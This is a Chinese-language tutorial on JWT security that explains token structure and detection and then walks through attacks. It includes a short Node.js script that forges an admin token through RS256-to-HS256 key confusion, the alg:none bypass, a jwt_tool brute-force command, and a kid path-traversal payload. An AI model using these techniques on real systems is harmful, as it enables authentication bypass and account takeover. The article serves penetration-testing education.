第80天-Web攻防:JWT令牌安全攻防全解析,从入门到实战

admin 2026-03-13 00:17:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文全面解析JWT令牌安全攻防,涵盖其三段式结构及无状态特性。重点详述识别方法与工具,深入剖析签名算法攻击、弱密钥爆破及Header注入等核心手法。文章提供了包含删除Token、越权测试等内容的实战检测清单,建议关注Token过期与敏感信息泄露,帮助安全人员系统掌握JWT漏洞挖掘与防护。 综合评分: 93 文章分类: WEB安全,渗透测试,漏洞分析,实战经验


cover_image

第80天-Web攻防:JWT令牌安全攻防全解析,从入门到实战

原创

Сяо Яо Сяо Яо

AlphaNet

2026年3月11日 10:18 韩国

嗨,未来的安全大神们!👋 你是否在渗透测试中遇到过一种以eyJ...开头的神秘字符串?这就是我们今天的主角——JWT(JSON Web Token)。它在现代Web应用中无处不在,但同时也隐藏着许多安全风险。这篇文章将带你从零开始,系统地学习JWT的“是什么-为什么-怎么做”,全面掌握其识别、检测及各种花式攻击手法!🚀


🤔 是什么:揭开JWT的神秘面纱

1. JWT到底是个啥?

JSON Web Token (JWT),简称“娇娃Token”😜,是一个开放标准(RFC 7519)。它定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息。简单来说,它就是一个遵循特定JSON格式的字符串,服务器通过验证这个字符串来确认你的身份。

与传统的 Cookie-Session 机制不同,JWT是 无状态的。服务器不需要在自家后院(Session存储)里为你保留个人信息,只需保管好一把“万能钥匙”(密钥)即可。当你的请求带着JWT令牌前来敲门时,服务器用钥匙一验,真伪立判。这种机制在分布式、跨服务的现代架构中备受欢迎。


2. JWT的“三段式”结构

一个标准的JWT令牌看起来像这样:

xxxxx.yyyyy.zzzzz

它由三个部分组成,每个部分都经过Base64编码,并用点(.)连接。


🔴 第一部分:标头 (Header)

这是JWT的“说明书”,一个JSON对象,用于声明加密算法(alg)和令牌类型(typ)。

{
  "alg": "HS256",
  "typ": "JWT"
}
  • alg: 指定签名算法,如 HS256RS256

  • typ: 固定为 JWT

  • 有时还会有 kidjku 等扩展字段


🟡 第二部分:有效载荷 (Payload)

这是JWT的“数据舱”,用于存放用户信息。

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022,
  "exp": 1516242622,
  "role": "user"
}

说明:

  • iss:签发者

  • sub:主题

  • aud:接收方

  • exp:过期时间

  • iat:签发时间

注意:

Payload只是Base64编码,不是加密!


🔵 第三部分:签名 (Signature)

签名用于保证令牌没有被篡改。

计算方式:

Signature = HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

只要 HeaderPayload 被修改,签名验证就会失败。


🧐 为什么:识别与检测JWT

实战中识别 JWT 很简单:

形态特征

寻找类似:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

常见位置:

  • Authorization: Bearer <token>

  • Cookie

  • URL参数

  • POST请求体

解码工具

推荐使用:

https://jwt.io

可以立即解码 JWT。


🛠️ 必备武器库

Burp Suite 插件

  • Hae

  • JSON Web Tokens

  • JWT Editor

命令行工具

  • jwt_tool

  • Venom-JWT

  • jwt-secrets

  • jwt-scanner


⚔️ 怎么做:JWT核心攻击手法


1. 签名算法攻击

alg: none 攻击

攻击者将 Header 改成:

{
 "alg": "none",
 "typ": "JWT"
}

然后发送:

header.payload.

如果服务器没有校验算法,就会绕过认证。


算法混淆攻击(RS256 → HS256)

原理:

  • RS256:私钥签名、公钥验证

  • HS256:同一个密钥

攻击者利用 公钥作为HS256密钥


Node.js 演示

// 攻击者利用泄露的公钥伪造管理员token

var jwt = require('jsonwebtoken');
var fs = require('fs');

// 读取公钥作为HS256密钥
var publicKeyAsSecret = fs.readFileSync('./public.key');

var token = jwt.sign(
  { user: 'admin', iat: 1672531200 },
  publicKeyAsSecret,
  { algorithm: 'HS256' }
);

console.log(token);

2. 密钥安全问题

弱密钥爆破

如果密钥是:

secret
123456
admin

就可以使用工具爆破。

例如:

python3 jwt_tool.py <token> -C -d wordlist.txt

3. Header注入攻击

JWT Header 中常见字段:

kid
jku
jwk

这些字段可能引发:

  • SQL注入

  • SSRF

  • 目录遍历

例如:

SELECT key FROM keys WHERE kid = '123'

如果 kid 可控,就可能注入。


目录遍历示例

kid = ../../../../dev/null

服务器可能加载错误密钥。


实战检测 Checklist

测试流程:

1 删除 JWT

删除 Authorization:

Authorization: Bearer <token>

查看是否还能访问。


2 信息泄露

解码 Payload:

jwt.io

查看是否包含:

  • 用户ID

  • 手机号

  • 邮箱


3 Token是否过期

检查 Payload:

exp

如果没有该字段,可能 永久有效


4 越权测试

尝试修改:

"user_id"
"role"

例如:

{
 "user_id": 1,
 "role": "admin"
}

5 Header注入测试

重点检查:

kid
jku
jwk

是否可以:

  • 加载外部密钥

  • 触发SSRF

  • 触发SQL注入


📝 总结

JWT核心知识:

结构

Header.Payload.Signature

安全重点

  • Payload不是加密

  • 不要存敏感信息

常见漏洞

1️⃣ alg none

2️⃣ RS256 → HS256

3️⃣ 弱密钥爆破

4️⃣ Header注入


JWT的世界远比这更广阔,但掌握以上知识,你已经超越90%的入门者。

现在那串神秘的:

eyJ...

已经不再神秘。


🤔 思考题

如果你在测试中发现:

JWT Payload 中包含用户ID

你会优先测试:

  • 越权修改

  • 密钥爆破

  • alg none

为什么?

欢迎在评论区分享你的思路 👇


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet Сяо Яо Сяо Яо《第80天-Web攻防:JWT令牌安全攻防全解析,从入门到实战》

    评论:0   参与:  0